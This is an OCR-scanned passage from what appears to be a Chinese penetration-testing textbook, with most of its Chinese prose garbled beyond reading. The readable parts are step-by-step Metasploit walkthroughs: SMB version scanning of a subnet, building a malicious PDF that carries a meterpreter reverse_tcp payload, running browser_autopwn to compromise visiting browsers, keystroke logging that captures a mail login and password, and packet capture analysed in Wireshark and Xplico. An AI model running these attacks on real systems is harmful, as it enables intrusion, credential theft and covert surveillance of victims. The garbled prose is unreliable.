AR 250 EHL. T IRPEF 4340 192.168.6.0/24 W25 9 T i3 Samba i 45 2% 14 BT 1.

(1) PEFEAEH] smb version B, HiTdr % Frs:

msf = use auxiliary/scanner/smb/smb_version

(2) B smb_version BEiHch ] {LE FIE S PATHS W R TR

msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24
RHOSTS => 192.168.6.0/24

msf auxiliary(smb_version) > set THREADS 255
THREADS => 255

(3) JaahHH. PATa-Sa F Eros:

msf auxiliary(smb_version) = exploit
[*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language:

Unknown) (name:WIN-RKPKQFBLGEC) (domain:WORKGROUP)
[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown)

(domain:WORKGROUP)
[*] 192.168.6.104:445 is running Windows XP Service Pack 0/ 1 (language: Chinese - Traditional)

(name:LYW) (domain:LYW)
[*] 192.168.6.110:445 is running Windows XP Service Pack 0/ 1 (language: Chinese - Traditional)

(name:AA-8B60KJMZ26FSW) (domain:WORKGROUF)
[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

M S B, AT BLE #) 192.168.6.0/24 M2 VY4 EHLEIEfEiE 1747 Samba |
4% . fE R g, nlLLFEFETT Samba Hii45 2 10EE RE2E8, F4GFIT AT Samba
Mg E0UE, shol Lk T iEaE et T

6.4.6 PDF XHIE

PDF & —fih 2 fF#% K, -L‘&‘}Iﬂ'ﬂfﬁiﬂj Eeidg iz, I BLE S . e TES. i
e M I 1E P.rr 5 Hf i1 PDF 308 . 4T Tz e RSy, P ) B HLsa v g
xu-lrn Metasploit $#Efit T~ MEFEHGHEH, W LOREVE - Eahdar, i fhis iz

Fralefar A H ¥ R G2 uﬁlf{ o A4S 400 PDF SO Mol fr
4k PDF SCR0) HAREA D 38w F fras.
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(1) §izh MSFCONSOLE. $iTar4nF s
root@kali:~# msfconsole
(2) WEPTH AR PDF i, AT FETR:

msf exploit{adobe_pdf embedded exe) > search pdf

Matching Modules

Name Disclosure Date Rank  Description
auxiliary/admin/http/typo3_sa_2010_020 normal TYPO3 5a-2010-020
Remote File

Disclosure
auxiliary/admin/sap/sap_configservlet_exec_ 2012-11-01 normal SAP ConfigServlet OS
Command
noauth 00:00:00 UTC Execution
auxiliary/admin/webmin/edit_htm|_fileaccess 2012-09-06 normal  Webmin edit_html.cgi
file Parameter

00:00:00 UTC Traversal Arbitrary File
Access
auxiliary/dos/http/3com_superstack_switch 2004-06-24  normal  3Com SuperStack
Switch Denial of

00:00:00 UTC Service
auxiliary/dos/http/hashcollision_dos 2011-12-28  normal  Hashtable Collisions

00:00:00 UTC
auxiliary/dos/scadaligss9 dataserver 2011-12-20 normal  7-Technologies IGSS 9

00:00:00 UTC IGSSdataServer.exe
DoS
auxiliary/dos/upnp/miniupnpd_dos 2013-03-27 normal  MiniUPnPd 1.4 Denial
of Service (DoS)

00:00:00 UTC Exploit
exploit/'windows/http/sap_configserviet 2012-11-01 great SAP ConfigServiet
Remote Code
exec_noauth Execution
exploit/windows/http/sonicwall_scrutinizer_sqli 2012-07-22 excellent Dell SonicWALL (Plixer)
Scrutinizer 9

SQL Injection
exploit/'windows/misc/avidphoneticindexer 2011-11-29 normal Avid Media Composer
5.5 - Avid

Phonetic Indexer Buffer Overflow
exploit/'windows/misc/poisonivy_bof 2012-06-24 normal  Poison vy 2.3.2 C&C
Server Buffer

Overflow
exploit’'windows/fileformat/adobe _pdf 2010-03-29  excellent Adobe PDF Embedded
EXE Social
embedded exe Engineering
exploit/'windows/oraclef/tns_service_name 2002-05-27 good Oracle 8i TNS Listener

SERVICE_NAME Buffer Overflow

exploit/windows/postgres/postgres_payload  2009-04-10 excellent PostgreSQL for
Microsoft Windows

Payload Execution
exploitwindows/scadalabb_wserver _exec 2013-04-05  excellent ABB MicroSCADA
WSEerver.exe

Remote Code Execution
exploit/windows/scadalcitect_scada_odbe 2008-06-11 normal

CitectSCADAJ/CitectFacilities ODBC

Buffer Overflow

PL R4S B s 1T PDF B el HO BB . sy n] LA EEA R BE U T RO, Al fS
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HBHEAT Bt
(3) {#H] Adobe PDF Embedded EXE #itl. 04T i 30 F By,
msf = use exploit'windows/fileformat/adobe_pdf_embedded_exe
(4) 77 adobe pdf embedded exe HEHLA R YIEI. AT i W1 R B

msf exploit{adobe_pdf _embedded_exe) = show options
Module options (exploit/'windows/fileformat/adobe_pdf embedded exe):

Name Current Setting Required Description
EXENAME no The Mame of payload exe.
FILENAME evil.pdf no The output filename.
INFILENAME yes The Input PDF filename.
LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this
message again" box and press Open.
no The message to display in the File:
area
Exploit target:

Ild Name

0 Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)

LL {5575 T adobe_pdf embedded_exe B LRI 47 0 HI [ 32 300 o JHE A fC 5000 200 (RT3 200,
RIS TIZIE A

(5) BeE R P AEA R PDF SCE4 . tAT a4 F s

msf exploit{adobe pdf embedded exe) = set FILENAME evildocument.pdf

FILENAME == evildocument.pdf

(6) P& INFILENAME 630, 24 7 RIF], 6 B1ZIE 45 52 F P U7 ) (1) PDF SCERAT &
AT i 2 W B

msf exploit(adobe pdf embedded exe) > set INFILENAME /root/Desktop/ willie.pdf

INFILENAME == /root/Desktop/willie.pdf

(7) izfy exploit. #4740 F .

msf exploit{adobe_pdf embedded_exe) = exploit
[#*] Reading in '/root/Desktop/willie.pdf'...

[*] Parsing '/root/Desktop/willie.pdf'...

[*] Using 'windows/meterpreter/reverse_tcp' as payload...

[*] Parsing Successful. Creating 'evildocument.pdf file...

[+] evildocument. pdf stored at /root!. msfd/local/evildocument.pdf

i s B 1 evildocument.pdf SO 28 A Bl 1 H AR CR A7 2 /root/.msfd/local Hzx .
6.4.7 {EF browser autopwn 1&EHR351E KT 28

Browser Autopwn ji: tH Metasploit #2 {1t — MR #2415 o] —-> Web TLIHf, &
VPR P Asahhedi— A2 EHL. Browser Autopwn {EXL 2 iy, 2ol irfiracfs B
F, XA 2 A2r Uil Mozilla Firefox 301 i d, 117 2 23 X0l & 40 07 (1) Internet Explorer 7
TR . AT A2 browser autopwn BEERFE{E .
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INZE browser_autopwn FEER I H AR A L ER W R B .
(1) Kizh MSFCONSOLE. 4741 F [
root@kali:~# msfconsole

(2) frif] autopwn FEHL,

msf > search autopwn
Matching Modules

Name Disclosure Date Rank Description

auxiliary/server/browser_autopwn normal HTTP Client Automatic Exploiter
far th 145 278 11 autopwn fRH .
(3) {#H] browser autopwn Bidt. AT F FTos:
msf = use auxiliary/server/browser_autopwn
PATEA B4 5, B RS Bt
(4) BV payload. 4741 F P

msf auxiliary(browser_autopwn) > set payload windows/meterpreter/ reverse_tcp
payload => windows/meterpreter/reverse_tcp

(5) #rf payload (U3ED . AT A4 FHT s

msf auxiliary(browser_autopwn) = show options
Module options (auxiliary/server/browser_autopwn):

Name Current Setting Required Description
LHOST 192.168.41.234 vyes The [P address to use for reverse-connect
payloads
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an
address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no MNegotiate S5L for incoming connections
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used

(accepted: SSL2,
SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

it 1915 B o T payload SIS AE AT LK £ S B A A T AL E .
(6) Wi LHOST i, AT a2 b r,

msf auxiliary(browser_autopwn) > set LHOST 192.168.41.234
LHOST == 192.168.41.234

LA ES S B andR E A PR TP Huhl 2 192.168.41.234,
(7) ElE URIPATH k0. 447dr 200 - By

msf auxiliary(browser_autopwn) = set URIPATH "filetypes”
URIPATH == filetypes

(8) I HNZEIEEGT . AT a2 Wik s

msf auxiliary(browser_autopwn) = exploit
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[*] Auxiliary module execution completed

[+] Setup

[#] Obfuscating initial javascript 2014-04-30 19:00:49 +0800
[*] Done in 0.718574284 seconds

msf auxiliary(browser_autopwn) >
[+] Starting exploit modules on host 192.168.41.234...

[m] _—

[*] Starting exploit multi’lbrowser/java_atomicreferencearray with payload java/meterpreter/
reverse_tcp

[*] Using URL: http://0.0.0.0:8080/BjlwyiXpeQHIG

[#*] Local IP: http://192.168.41.234:8080/BjlwyiXxpeQHIG

[#] Server started.

[+] Starting exploit multi/browser/java_jre17_jmxbean with payload java/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:8080/NVVrXNZ

[*] Local IP: http://192.168.41.234:8080/NVVIrXNZ

[*] Server started.

LEEEBSTAE..

[*] Started reverse handler on 192.168.41.234:6666

[*] Started reverse handler on 192.168.41.234:7777

[+] Starting the payload handler...

[+] Starting the payload handler...

[*¥] --- Done, found 16 exploit modules

[*] Using URL: http://0.0.0.0:8080/filetypes

[*] Local IP: hitp://192.168.41.234:8080/filetypes

[*] Server started.

[¥] 192.168.41.146  browser_autopwn - Handling 'ffiletypes' #HER M EFiE

[+] 192.168.41.146  browser_autopwn - Handling 'ffiletypes'

[*] Meterpreter session 1 opened (192.168.41.234:3333 -> 192.168.41.146:1073) at
2014-04-30 19:16:54 +0800

[#] Sending stage (769024 bytes) to 192.168.41.146

[*] Session ID 1 (192.168.41.234:3333 -> 192.168.41.146:1071) processing
InitialAutoRunScript 'migrate -f'

[+] Successfully migrated to process
[*] Current server process: qjRc.exe (1824)

[#] Spawning notepad.exe process to migrate to

[+] Migrating to 1260

LU B A A5 2 — MR G i s b it N E R, BT RRR A,
[ 4 A A S G BURT o A I B b B 2% 7 3 192.168.41.146 1) T
192.168.41.234 - H1, -J]-mu;m LT NGB 2GR R P g U ) S AR
MEIENGE AN, A% S TE 3 5 a5 A http://IP Address: 8080/ filetypes 17 [n] =411,
A A S R 220

(9) M (8) LRYSE & rh ol I 2, 21l ID 2 1. O T EOG I 2 1%,
PAT A R ETR

msf auxiliary(browser_autopwn) > sessions -i 1

[*] Starting interaction with 1...

meterpreter >

W s b T DG 2, B T8 52506 1 ENE] T Meterpreter 7447 .
(10) EFAHFEIZITH) Meterpreter 74 %142, ATA-SW F Fias:

meterpreter > help
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Core Commands

background
bgkill

bglist

bgrun
channel
close

disable_unicode_encoding
enable_unicode_encoding

exit
help
info
interact
irb

load
migrate
quit
read
resource
run

use
write

EHASAE
Stdapi: Networking Commands

Description

Help menu

Backgrounds the current session

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information about active channels
Closes a channel

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

Help menu

Displays information about a Post module
Interacts with a channel

Drop into irb scripting mode

Load one or more meterpreter extensions
Migrate the server to another process
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file
Executes a meterpreter script or Post module
Deprecated alias for 'load'

Writes data to a channel

Command

arp
getproxy
ifconfig
ipconfig
netstat
portfwd
route

Command

clearev
drop_token
execute
getenv
getpid
getprivs
getuid

Kill

ps

reboot

reg
revZself
shell
shutdown
steal_token
suspend

Display the host ARP cache

Display the current proxy configuration
Display interfaces

Display interfaces

Display the network connections
Forward a local port to a remote service
View and modify the routing table

Stdapi: System Commands

Description

Clear the event log

Relinquishes any active impersonation token.

Execute a command

Get one or more environment variable values

Get the current process identifier

Attempt to enable all privileges available to the current process
Get the user that the server is running as

Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry

Calls RevertToSelf() on the remote machine

Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Suspends or resumes a list of processes

® 1'.-".;.
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sysinfo

Gets information about the remote system, such as OS5

Stdapi: User interface Commands

enumdesktops
getdesktop
idletime
keyscan_dump
keyscan_start
keyscan_stop
screenshot
setdesktop
uictl

Description

List all accessible desktops and window stations

Get the current meterpreter desktop

Returns the number of seconds the remote user has been idle
Dump the keystroke buffer

Start capturing keystrokes

Stop capturing keystrokes

Grab a screenshot of the interactive desktop

Change the meterpreters current desktop

Control some of the user interface components

Priv: Timestomp Commands

Command

timestomp

Description

Manipulate file MACE attributes

i S B2 s T Meterpreter a2 AT Fol@ T 4. WIS B, B4
{4 FH A 1 0 4
(1) shit s, WA s

meterpreter > keyscan_start
Starting the keystroke sniffer...
(12) P RAGE S, AT 2 F FoR:

meterpreter > keyscan_dump
Dumping captured keystrokes...
=<Back> <Back>

=MG5= <=NA> =N4>

o F P AT BLRME B RSO, AT A Y A

<Back> <Back> <N1> <NO0> <N1> <N2> <NO> <N7> <N3>

=Back> <Back> <=Back> <Back> <Back> mail.qg.com <Return=

<N1> <=NZ2= =N3> <=N4> <Nb5> <NE> <N7> <N8= =<NO= <N1=123456 <Return>

S B o TE PSR s s A IS . Wi T mail.gg.com [k,
B mn A bl o8 1234567891, #8004 123456,

6.4.8 7£ Metasploit FiFFx &

& Metasploit *}, i fiff FIBEHR AT 1208 Bty ol LURELS]— > Meterpreter Shell. 1k
Meterpreter Shell tf, AJ LAfilik Hbx R4cb 83 6. N IE /28 Wil 7 Metasploit 14 4k

i £

C1) B 50 B 58 SR B — MR BRI 20 R — N3 H ks 3 HLIY) Meterpreter Shell.
it Windows 7 R H0E B HLAY -4~ Meterpreter Shell, 41 | Fraps:

msf exploit{handler) = exploit
[*] Started reverse handler on 192.168.6.103:4444

[+] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.6.110

[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17
10:44:47 +0800
meterpreter >

Mt fs B, aTLLE B 4T 5 T —1> Meterpreter 2315 # i, #inr LLE
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run packetrecorder 729l U Hdr RE R L T.
(2) 54 packetrecorder S 1S4 WATAT W FHTas:
meterpreter > run packetrecorder
Meterpreter Script for capturing packets in to a PCAP file
on a target host given a interface 1D.
OPTIONS:
-h Help menu.
-i  =opt> Interface ID number where all packet capture will be done.
-l =opt= Specify and alternate folder to save PCAP file.
-li List interfaces that can be used for capture.
-t =opt> Time interval in seconds between recollection of packet, default 30 seconds.

L E g H 19455 2L 7 run packetrecorder iy < (145 HIFI AT TEE I 220 (R4l 2R i,
HOCER MR D el A AL T R R
(3) #A v AR M S L o AT 2 F B

meterpreter > run packetrecorder -li
1 - VMware Accelerated AMD PCNet Adapter’ ( type:0 mtu:1514 usable:true dhcp:true wifi:false )

ARG, TR U A
(4) FREAFERE PR FORCR, FAS AR SCOF GRAF BRI b BT o I P

meterpreter > run packetrecorder -i 1 -l /root/Desktop
[*] Starting Packet capture on interface 1

[+] Packet capture started

[#] Packets being saved in to /root/Desktopllogs/packetrecorder/ AA-8860KJM26FSW_
20140717.2700/AA-8860KJM26FSW_20140717.5608.cap

[#] Packet capture interval is 30 Seconds

A
[#] Interrupt
[+] Stopping Packet sniffer...

AT LA b A Ja, R RT R B s EALROEAE . ke S S R RdR e A B R —
A~ logs Flagb. BL Bk FEA S Aahist b, s b, W R Cul+C 4158 .

£ Metasploit "4k A9 4k B, nf LAEH] Wireshark T. 54T 35347 40 Fr - 7F Kali Linux
i, BRILCER %% T Wireshark T.H..

[ 6-3) Rl A Wireshark TFL, T HHIRM SC0F. HARRMEL IR R B,

(1) Jizl Wireshark, f#'E7EfG&iEir. T4 Fins:

root@kali:~# wireshark &

Bl e SRk« v B 55  |[Kali Linux|Top 10 Security Tools|wireshark iy 4,
1 i % 6.16 o i) FLim .

Lua: Error during Loading:

[string "fusr/sharefwiresharkfinit.lua"]:46: dofile has been disabled due te running
Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/
CapturePrivileges for help in running Wireshark as an unprivileged user.

E ()
5 6.16 ®LH{GE
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(2) PZFF R 1 5 B R i (5 R P IS AT R . Sei fdy < ffie "
feHl, A 6.17 Bty di .

The Wireshark Network Analyzer [Wireshark 1.10.2 (SVN Rev 51934 from leil‘.‘j

File Edit View Go Capture Analyze Statistics Telephomy Tools Internals Help
CIONFE AR EE X AE R EEE ¥ IC K

Filter: ~ | Expression,.. w

/1T The World's Most Popular N
WIRESHARK v <ion1.10.2 (SVN Rev 51934 fro

L Cpture ___J |

Interface List = Open

Live List of the capture interfaces Opena previowsly captured fle
[counts incoming packets)

Qpen Recent:
i Start

Choose o or miore interfaces o capiure from, then Start

frootfDesktopflags/p ... 7.0855/A4

frontiNacktnnMnnsin T SROABIA L

Ready to load or capture ... Profile: Default

P 6.17 Wireshark - ¥t

(3) iS50 L Wireshark [ 3= Fifil. I E ¢ LS PRI £ File|Open fip %, 1R $F
BT AR SO TR SO, SR ¥ 6.18 Pk,

AA=BBEOKJMZEFSW._20140717 5608 cap [Wireshark 1.10.2 (SVN Rev 51934 from ftrunk=1.10)] b.&.ll'..j
File Edit View Go Capture Analyze Statistics Telephonmy Tools Intermals Help
004dm @ e ae»+2 T2 EEF 0P E® -
Filter: ftp ~ | Expression... Clear {237
Mo Timia Source Destination Protocol Lengtl | Info
19 5. 0adéed  192.168.6.112 192.168.6.118 FTP T4 Response: 220 (vaFTPd 2.2.2)
17 9.060008  192.768.6.11Q 191.168.6.112 FTP 78 Request: USER anonymous
19 9.000008  192.768.6.111 191.168.6.118 FTP B8 Response: 331 Please specify the password.
T8 I.000088 192.7168.6.118 192.168.6.112 FTP B8 Reguest: PASS mozillagexample.com
79 21.000068 102.7168.6.111 191.168.6.11@ FTP 77 Response: 230 Login successful,
95 I4.0e0088 197.168.6.17@ 191.168.6.112 FTP BB Regquest: POAT 182, 168,6,110,11,54
96 14000004 102.7168.6.112 192.168.6.118 FTP 185 Response: 200 PORT command successful. Comsider using
97 14.000884 192.168.6.11@ 191.168.6.112 FTP 60 Reguest: LIST
181 14.080888 192.168.6.112 191.168.6.118 FTP 33 Response: 150 Here comes the directory listing.
185 I4.0@0008 102.168.6.112 191.168.6.110 FTP 78 Response: 226 Directory send OK.
111 I6.0@8088 192.168.6.118 192.168.6.112 FTP 6} Reguest: OWD pub
111 16.0@0888 192.168.6.112 191.168.6.118 FTP 91 Response: 250 Dairectory successfully changed.
118 I6.0@e088 192.168.6.11@8 191.168.6.112 FTP Bl Reguest: POAT 192, 168,6,110,11,55
T8, iRaped ! 6.112 G Response: 200 PORT command successful, Comsider usimdg
110 IE.000BB@ 192.768.6.717@ 191.168.6.1712 FTP B8 Reguest: LIST
124 18.000088 192.168.6.112 191.168.6.118 FTP 33 Response: 150 Here comes the directory listing.
138 I8.0@080B@ 102.168.6.112 191.168.6.118 FTP 78 Response: 226 Durectory send OK.
@ Fie: “froot/Desktopflogsfpacketre... . Packets: 131 - Displayed: 17 (13.0%) - ... Profile: Default

P 6.18 4l 2k 1) S o

(4) W% S o] UG B R IG FTAT $din . 76 Wireshark 7, 0] LU L £ H & 6
AL g gE R s . MREEE s, AT AT IR
Follow TCP Stream 72 fr &, )4 6.19 fyos.
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Fallow TCP Stream m

Stream Content

220 (vsFTPd 2,2.2)

LISER anonymous

331 Please specify the password,

PASS mozillafexample.com

230 Legin successful.

POAT 192, 168,6;110,11,54

200 POAT command successful. Consider using PASW.
LIST

150 Here comas the directory listing.

Z26 Mrectory send OK.

Wl pub

250 Directory successfully changed.

POAT 192,168,6,118,11,55

200 POAT command successful. Consider using PASV.
LIST

150 Here comas the directory listing.

IZZ'E Carectory send OK.

Entire conwersation {457 bytes) w

BIR(F) | ATFEAR)  ITEIPR) ASCI 7 EBEDIC ) Hex Dump 7 CArrays & Raw

wahH) Filter Out This Stream %)

5 6.19 FTP &if

(5) EFM R T —A5C 80 FTP 2. WiRsR FTP RG-SR0V P 44 . i1 A
a1y H 35

& Kali tr, wJLAdH] Xplico T H 434t Wireshark fili ki S0 fF. L, & 0 fFAR AR
e peap. 1% L HEGAAE Kali iy ok, f @A n] LUTR] . F i /i 2 e A8
H Xplico T H 43 #r i .

4 Xplico T H. 4T am4n T B :

root@kali:~# apt-get install xplico \ T Y/

AT LA Liw% e, AT R h s R s, W Xplico T H LM T . 2 FoKid
TS Xplico R4k sh, A nTLUAEH] . th T Xplico T Web Ytif, A LA 5 2 2 Apache
2 fl%

Jri5)) Apache IR %5 . MFTar & W R IR,

root@kali:~# service apache? start
[OK] Start web server: apache2.

Mt iofs B, ATLLE 2 Apache2 % A 3).

L35, AXANZ%F B3 Apache 2 MR E 0, T4 HI[...] Starting web server:
apacheZapache2: Could not reliably determine the server's fully qualified domain
name, using 127.0.1.1 for ServerName 1Z . iX & B % Apache 2 FRL% % 6B & L4
PR A B R ServerName i£ 20, %15.& R &-¥i7h Web IR 4 2 4917 7],

JF 8l Xplico 5. $0AT a0 R .
root@kali:~# service xplico start

[....] Starting : XplicoModifying priority to -1
.ok

MELES 5 &, nTLGE 3 Xplico Mk9x LUl sl . IRAERE T LUEFH Xplico Mled5 T .
(560 6-41 {11 Xplico " FLFHTHEIRI peap 301 FARERAEL IR Brs.
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C1) 7650 U 25 b i A hitp://localhost:9876, 4547 FF P4 6.20 Ay 1) i .

Xplico . ;Users:.. = lcewsnsel |
Fiie Edt Wiew Higtary Bockmarks Tools Help
| I Rpleo . Uhers IE
- lacalmagt - i@ - Q| 4 e

= Most Wisited  [llOffensve Secunty ™, Kali Lnux ", Kali Docs [Explac-DB

Xplico Interface

Language ] L
Please login

LUsarnnme [l |
aplico

Password
...... |

Login
[2] - |

4 620 Xplico %3 Ftiii

(2) %5 A 5 Xplico HR%5. Xplico ERUATHI P 42 FSE IS #E AL xplico, H A
AR R I TR 5 Xplico h7, A4St 6.21 Fras i) 5L .

Xplico ..:Pals:. = lceweasel |
File Ed® Veew History Bookmarks Tools Help
| 2 Mplico .:Pols:.. | %

E Lescalhast - & = < q’

B2 Most Visited™  [flOffensive Security " Kali Lnux " Kali Docs  [Explon-DB Wy Aircrack-ng

Xplico Intarface

W wiord H
Cases List
Hame Extadiral Rafargnce Typs Actions

L i | i |

5 6.21  E 054

(3) MZSnel LA BTN 7. Bl Xplico liz4s b, AT EW il &
R SiE s, AL peap SO, ESCOIER MG, fE &S A e
New Case fir4, 358 W& 6.22 B f F i .

File Edit Yiew Higtory Bookmarks Tools Help
| I plico.-Pals: [ = |

L | Localhost - i@ w Q= "?

B Most Visited~  [IlOFermive Security ", Kali Linux ", Kali Docs KRExploit-DB W Aircr ack-ng

Xplico Intarfaca

- =

OATA ACQUISITHFN
* Upleading PCAP capture fila /s Live acquisition z

Cass nama  [Tesy
External referance

Create

5 6.22 FriEtFEHl
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(4) 7Fi% ik £ Uploading PCAP capture file/s, F145@ £ W4 . Afmrp s 5 4 Test,
SR Wil Create #HL, B i 6.23 Fras i) i .

Xplico ..:Pols:.. = lceweasel
File Edit Wiew Higtory Bookmarks Tools Help
r Xplico ..:Pols:.. Jr..5|
e P localhost 2 v L

B Most Visited  [lOffensive Security " Kali Linux " Kali Docs MExploit-DB Wy Aircrack-ng

Xplico Interface

The Case has been created

Cases List k
Hame External Reference Type Actlons
Test Files

Drebote

.'r'
[<] " E

M4 6.23  HEHUER

(5) ERA T ZGI5) R P B8 TR MR, S ik Test, A/ REIHHIZT,
ik 6.24 Fior.
Xplico ...50ls... = lceweasel |

Elll Edlt !lew HI!tﬂrlf' Enﬂkl‘ﬁ:rk!. lnnls u¢|p

| < Xplico ..:Sols:.. i =] |

4 | & localhost i [ ¢ ""‘E'_ f= v Goggle al 4 i?l

= Most Visited v Dffensive Securit Kali Linux Kali Docs Exploit-DB Arcrack-m
I Y P 9
Xplico Interface

List of listening sesslons of case: Test

Name Start Time End Time Status Actlons 5

P 6.24 W) 2 E

(6) Mizftmo] LR REAESEE R, PR EESE. i WES R New
Session fi7-%, FFainE 6.25 st S .

Xplico .:5ols:.. - leeweasel
File Edit Yiew History Bookmarks Tools Help
i Xplico . :Sols:.. | oA |

* localhost - i b | Q| < Hﬁ

B Most Visited~  [fOffensive Security 8, Kali Linux ", Kali Docs [JExploit-DB Wy Aircrack-ng
Xplico Interface

- MWew listening session i |
Session name Windows XP taget
Create

5 6.25 Hiiorin
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(7) {Ei% Yt Session name A [ 1) SCASHE g AR BT 2% 44, 28 )5 Fad Create 4%
fl, Rt 6.26 B St .

Xplico .:5ols:.. = lceweasel "_'c -._'«'-I
File Edit View History Bookmarks Tools Help
IF." Xplico ..:5ols:.. I#l
4 | @ Localhost 2¢ nides - g l; Iv Google a 4

B Most Visited~ [ Offensive Security ", Kali Linux " Kali Docs KRExploit-DB Wy Aircrack-ng

Xplico Interface

The Session has been created

List of listening sesslons of case: Test

Name Start Time End Time Status Actions
WindowsXPtarget QO00-00-00 00:00:00 0Q00-00-00 00:00:00 EMPTY

I 6.26 FHdhysih

(8) MazFtmn] L RHE 7 — % N Windows XP Target [)231f. ME#E Az 815
d, gk ] BLINEE peap SCPFRENT 0T T o MLl 4205 44 WindowsXPtarget, 45 54 6.27 By
AN S I

Xplico ..:Sols:.. - lceweasel - O | x|
File Edit View History Bookmarks Tools Help
| 2 Xplico ..:Sols:.. |5
4 | @ localhost 9571 w1 v @) [Clv Goog e al 4

ERMost Visited>  [[Offensive Security S Kali Linux S Kali Docs EBExploit-DB Wy Aircrack-ng

Xplico Interface wplica

Case and Session PCAP-ower-IP TCP port: 30002,

L T name Tiest - = WindowsNPranget
SE5siarn Cap. Start Time (TR CHO- O D00 00
S Cap. End Tima O00-00-00 OaEi0an Browse.. | AABBBOKIMIEFSW 20140717 .5608.c4
S Status EMPTY Upload

Hosts List of all pcap files.

Paost 4] Humber O Reogived 0
Get o Contants Sent 0 Connectiansn Recelved
]

S Unaecoicd TN Video 0o Unreadedo, o DownloadedO sent 0
Images 0 Images 0 Uplaadedy - u

E6.27 A% peap L fF

(9) LS AR R R peap SCIFVEME B . H TR _EAGAET peap 3C4T, FrLd
#175 Browse $4C5T % R MR O 4 SC4F . SRS i Upload #4241, 4 WontnPd 6.28 Fiasir
FEiM .

(10> MiZ S n] L 3] peap SCAF4 M LA 4. 951 peap SO B R 2, W]
LRSI (A . %S0 o 710 Bp2EAY, 4 HTTP, MMS. Emails. FTP-TFTP-HTTP file
1 Web Mail 28, 7F1% 5L ook 20 A dh i) Web 315 Site dir 4, 9 8500 % 6.29 Bl
Sk .
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2 Xplico ...Sols:.. = lceweazel Hliltj
File Edit View History Bookmarks Tools Help

% Connecting.. lil

* * [T‘! localhost 9876/ 5ol s/view/ "ﬁ'] [ vo gle Q] {J’ ﬁ

¥ Most Visited~ [l Offensive Security %, Kali Linux W Kali Dacs  [[lExploit-DB Wy Aircrack-ng

Case and Session name Test-» WindowsTTaget PCAP-over-IP TCP port: 30002 .

Cap. Start Time 2014-07-03 14:11:43 Add new pcap flle.
Cap. End Tima 2014-07-03 14:12:08  EEE—
Status DECODMNG COMPLETED Brewse... | No file selacted.
Hosts | A Upload "
Filter List of all pcap files,
Post o Humber 0 Received O _ Total o
Got 0 Contants 0 Sant 0 Conneclions- 0 Received 0
Vides 0 Vides 0 Unreaded 0,0 3”;::":?' g Sent 0
Images 0 Images 0 ploaded O -
- . HTTP ]
_ Server i DNS res 2 Video i ] Groups 0
Users 0O Channaels 0,/0/0 ARP/ICMPOS 0 Audic 0 Articles  ©
Waiting for Localhost... e
N A ST
P 6.28  EeIh A% 1 ik At
Xplico .:Webs:.. - lceweasel ul:lm

File Edit View History Bookmarks Tools Help
IF-_." Xplico .:Webs:.. I g |
‘ [!‘T-Lu:alhust BT 6iweh ‘_ ___':-__-_HEJ L"’_T._n"- - ) D.| @ ’1

B Most Visitedv  [flOffensive Security ", Kali Linux "8 Kali Decs [NExploit-D8 Wy Aircrack-ng

l

For a complete view of html page set your browser to use Proxy, and point it to
[ © Graphs | Web server.
Web URLs: ™ Html Cimage O Flash Cideo O Audio I IS0N
Search: CIan
Go
Date Lirl Size Mathod  Info

2014-07-1T7 16:14:56 image. baldu.com,/data/ImginfoTploture_|d=10487841215E&c0lun 81 GET Info.xmi
2014-07-1T7 16:14:50 Imags. baldu.com/dats/ImginfoTpicture_id=10487 T9824 5&00lun arz GET Info.xmi
2014-07-1T7 16:14:4E Imags. baldu.com/dats/ImginfoTpicture_id=121 5653801 8&colun a8l GET Info.xmi
2014-07-1T7 16:14:42 image baldu.com/data/Imginfo?ploture_ld=10487846235&colun k111 GET Info.xmi
I014-07-17 16:14:37 whaols.pronline com.cnfiplson jspPoallback=cmid_gethraaBsck 182 GET Info.xmd

.[{-;-"hjl'u,'u, J014-07-1T7 16:14:37 pas.baldu com/ scomFost=ga2 31 2 Adnl=1 Lifi= 8 Sopl=1 800 = Th- 38143 GET Inifo.xmid
20148-07-1T7 16:14:36 BdzSza.v. admasiar.com. o0/ fa20610,6200450151 2289, 10 m: o GET Info.xmi
F014-07-1T7 16:14:3€ statl aa. sdo.com/ Tactioh=cmisrc=Admasierduld=140T1T0931 3 2 GET Info.xmi
F0148-0T7-1T7 16:14:36 www. baldu.comSar/acun Mile=-SE3NA0RB0WInTREERAIRA1IRET 2507 GET Info.gmi
2014-0T7-17 16:14:36 cmipeanl ine com.cn/antry JapTur=hitp%3A/ fwallpapar. peonling, 20392 GET  Info.xmi
2014-07-17 16:14:35 wall papar.peonl ine,com.cn/ple /3604, html 2558T GET  info.xmi
2014-07-17 16:13:56 Image. baldu.com,/data/imginfo?plcture_ide 104878084 3D Ecolun #7d GET  info.xmi
2014-07-17 18:13:47 image. baldu.com,/detall /rewindex Yool =RESRAIRAINETRBAREA 51865 GET  info.xmi
20148-07-17 18:13:44 image. baldu.com/channsl/galpleinfeMidlist=121 5653801688201 431 GET  info.xml
2014-07-17 16:13:43 image baldu.com/channslflisjzonTpaelbme2dbtafl=REERATE Ti91 GET info.xml
2014-07-17 16:13:41 image baidu.com/channel fwallpapar 27144 GET info.xml

4 6.29 e TR SRR G a

LD i S R T RSP BT AT U e Bl 0, ST IR T LR #1680
A RS iR LI T % . Plind%5R baidu, 5 R 2511 6.30 Pros iy Fiii .
